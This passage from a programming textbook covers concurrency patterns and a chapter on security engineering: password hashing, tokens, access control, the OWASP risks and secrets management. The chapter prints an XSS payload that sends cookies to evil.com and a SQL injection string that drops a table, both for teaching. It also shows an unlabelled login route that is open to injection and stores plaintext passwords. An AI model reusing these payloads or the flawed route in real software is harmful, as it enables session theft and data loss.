Producers add work items to a queue; consumers process them. The queue decouples production from consumption.

import queue
import threading

work_queue = queue.Queue()

def producer():
    for i in range(10):
        work_queue.put(f"task-{i}")
    work_queue.put(None)  # Sentinel: signals completion

def consumer():
    while True:
        item = work_queue.get()
        if item is None:
            break
        print(f"Processing {item}")
        work_queue.task_done()

Thread Pool

Instead of creating a thread per task, reuse a fixed pool. Python’s concurrent.futures.ThreadPoolExecutor provides this.

from concurrent.futures import ThreadPoolExecutor, as_completed

def fetch_url(url):
    import time
    time.sleep(0.5)
    return f"Content from {url}"

with ThreadPoolExecutor(max_workers=5) as executor:
    futures = {executor.submit(fetch_url, u): u
               for u in ["url1", "url2", "url3", "url4", "url5"]}

    for future in as_completed(futures):
        url = futures[future]
        print(f"{url}: {future.result()}")

Fan-Out / Fan-In

Fan-out: split a task into many parallel subtasks. Fan-in: collect and combine the results. This is the pattern behind map-reduce, parallel web scraping, and batch processing.

Chapter 33 Security Engineering

Authentication — Who Are You?

Authentication verifies someone’s identity. The most common form is username + password.

Password Hashing

Rule number one: never store passwords in plaintext. If your database is breached, every user’s password is exposed. Instead, store a hash — a one-way mathematical fingerprint.

import hashlib
import os

def hash_password(password, salt=None):
    """Hash a password with a random salt."""
    if salt is None:
        salt = os.urandom(16)
    hashed = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations=100000  # Slow on purpose!
    )
    return salt, hashed

def verify_password(password, salt, stored_hash):
    """Verify a password against a stored hash."""
    _, new_hash = hash_password(password, salt)
    return new_hash == stored_hash

# Registration
salt, hashed = hash_password("my_secret_password")
# Store salt + hashed in database (NOT the plaintext password!)

# Login
is_valid = verify_password("my_secret_password", salt, hashed)  # True

Key concepts:

• Salt: A random value added to each password before hashing. Even if two users have the same password, their hashes differ. Also defeats rainbow tables (precomputed hash lookups).
• Slow hashing: Algorithms like bcrypt, scrypt, and PBKDF2 are intentionally slow. This makes brute-force attacks impractical: hashing one guess takes milliseconds, but billions of guesses take years.
• Hashing is NOT encryption: Encryption is reversible (decrypt with a key). Hashing is one-way (you cannot recover the original).

JWT Tokens

JSON Web Tokens (JWT) are a compact way to transmit authentication information. A JWT has three base64-encoded parts: header.payload.signature.

# Conceptual JWT structure
# Header:    {"alg": "HS256", "typ": "JWT"}
# Payload:   {"user_id": 42, "role": "admin", "exp": 1711324800}
# Signature: HMAC-SHA256(header + "." + payload, secret_key)

# Server creates JWT after login:
# token = jwt.encode({"user_id": 42, "exp": ...}, SECRET, algorithm="HS256")

# Client sends in Authorization header:
# Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...

# Server verifies on each request:
# data = jwt.decode(token, SECRET, algorithms=["HS256"])

OAuth2 Flow

OAuth2 lets users log into your app using existing accounts (Google, GitHub) without sharing their password with you.

Authorisation — What Can You Do?

Authentication = “who are you?” Authorisation = “what are you allowed to do?”

Role-Based Access Control (RBAC)

Users are assigned roles (admin, editor, viewer). Each role has specific permissions.

PERMISSIONS = {
    "admin":  ["create", "read", "update", "delete", "manage_users"],
    "editor": ["create", "read", "update"],
    "viewer": ["read"],
}

def check_permission(user_role, action):
    allowed = PERMISSIONS.get(user_role, [])
    if action not in allowed:
        raise PermissionError(f"Role '{user_role}' cannot '{action}'")

Attribute-Based Access Control (ABAC)

ABAC makes decisions based on multiple attributes: the user’s department, the resource’s classification, the time of day.

def can_access_task(user, task):
    """ABAC: access depends on multiple attributes."""
    if user.role == "admin":
        return True
    if task.project_id in user.project_ids:
        return True
    if task.is_public:
        return True
    return False

The Principle of Least Privilege: give every user, process, and component only the minimum permissions needed. An API that only reads tasks should not have write access.

Encryption

OWASP Top Vulnerabilities

The OWASP (Open Web Application Security Project) maintains a list of the most critical web security risks. Here are the top five you must understand.

1. SQL Injection

An attacker inserts malicious SQL into an input field. If you build SQL by concatenating strings, the attacker can read, modify, or delete your entire database.

# VULNERABLE: string concatenation
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# Becomes: SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# Your entire users table is deleted!

# SAFE: parameterised query
cursor.execute(
    "SELECT * FROM users WHERE username = ?",
    (username,)
)
# The ? placeholder treats input as DATA, not SQL code

2. Broken Authentication

Weak passwords, missing rate limiting, tokens that never expire, insecure password reset flows. Fix: enforce strong passwords, use MFA, expire tokens, rate-limit login attempts.

3. Cross-Site Scripting (XSS)

An attacker injects JavaScript into a page other users view. The script runs in the victim’s browser, stealing cookies or session tokens.

# VULNERABLE: user input directly in HTML
task_title = '<script>document.location="https://evil.com/?c="+document.cookie</script>'
html = f"<h1>{task_title}</h1>"
# The script executes in every viewer's browser!

# SAFE: output encoding (escape HTML characters)
from markupsafe import escape
html = f"<h1>{escape(task_title)}</h1>"
# Renders as visible text, not executable code

4. Server-Side Request Forgery (SSRF)

An attacker tricks your server into making requests to internal services. If your app fetches user-supplied URLs, an attacker might provide http://localhost:5432 to probe your internal network. Fix: validate and allowlist URLs, block internal IP ranges.

5. Security Misconfiguration

Default passwords left unchanged, debug mode enabled in production, verbose stack traces shown to users, unnecessary services exposed. Fix: harden defaults, audit configurations, never expose debug info.

Secure Coding Practices

• Input validation: Validate every input on the server. Client-side validation is UX; server-side is security. Never trust the client.
• Parameterised queries: Always. No exceptions. Every SQL query with user input must use placeholders.
• Output encoding: Encode all user-generated content before rendering in HTML to prevent XSS.
• Dependency auditing: Regularly scan dependencies for vulnerabilities. Use pip audit or GitHub Dependabot.

Secrets Management

Never commit credentials to version control. Not even once, not even temporarily. Git history is permanent — even after deletion, the secret lives in the history.

# BAD: hardcoded secret
API_KEY = "sk-live-abc123def456"

# GOOD: environment variable
import os
API_KEY = os.environ.get("API_KEY")
if not API_KEY:
    raise RuntimeError("API_KEY not set")

# BETTER: .env file (not committed) with python-dotenv
# .env file (in .gitignore):
# API_KEY=sk-live-abc123def456

from dotenv import load_dotenv
load_dotenv()
API_KEY = os.environ["API_KEY"]

For production, use a dedicated secret store: AWS Secrets Manager, HashiCorp Vault, or your platform’s built-in secret management.

@app.route("/login", methods=["POST"])
def login():
    username = request.form["username"]
    password = request.form["password"]
    user = db.execute(
        f"SELECT * FROM users WHERE username = '{username}'"
    ).fetchone()
    if user and user["password"] == password:
        session["user"] = username
        return "Login successful"
    return "Invalid credentials"

Phase 7 Gate Checkpoint & TaskForge Engineering

Your Artifact: TaskForge Engineering Upgrade

Apply the skills from this phase to TaskForge in a single focused sprint:

1. Design Patterns: Refactor TaskForge to use the Strategy pattern for storage backends (at least two: SQLite and in-memory for testing). Apply dependency injection so TaskManager receives its backend via the constructor.
2. Database Optimisation: Add indexes to the TaskForge database. Run EXPLAIN on your three most common queries and verify they use the indexes. Fix any N+1 queries in your API routes.
3. Authentication & Security: Add password hashing (PBKDF2 or bcrypt). Create login/register endpoints. Add token-based auth to all protected routes. Implement RBAC with at least “admin” and “viewer” roles. Audit all SQL queries for parameterised statements.
4. Transactions: Wrap multi-step operations (like “move task between projects”) in transactions with proper rollback on failure.

What You Can Now Do

• Organise code using established design patterns that make systems extensible
• Write complex, efficient SQL queries and understand why they perform the way they do
• Protect data integrity with transactions and choose the right isolation level
• Explain how the internet works from DNS to HTTP response
• Choose the right concurrency model for any workload and avoid common bugs
• Build secure applications that resist the most common attack vectors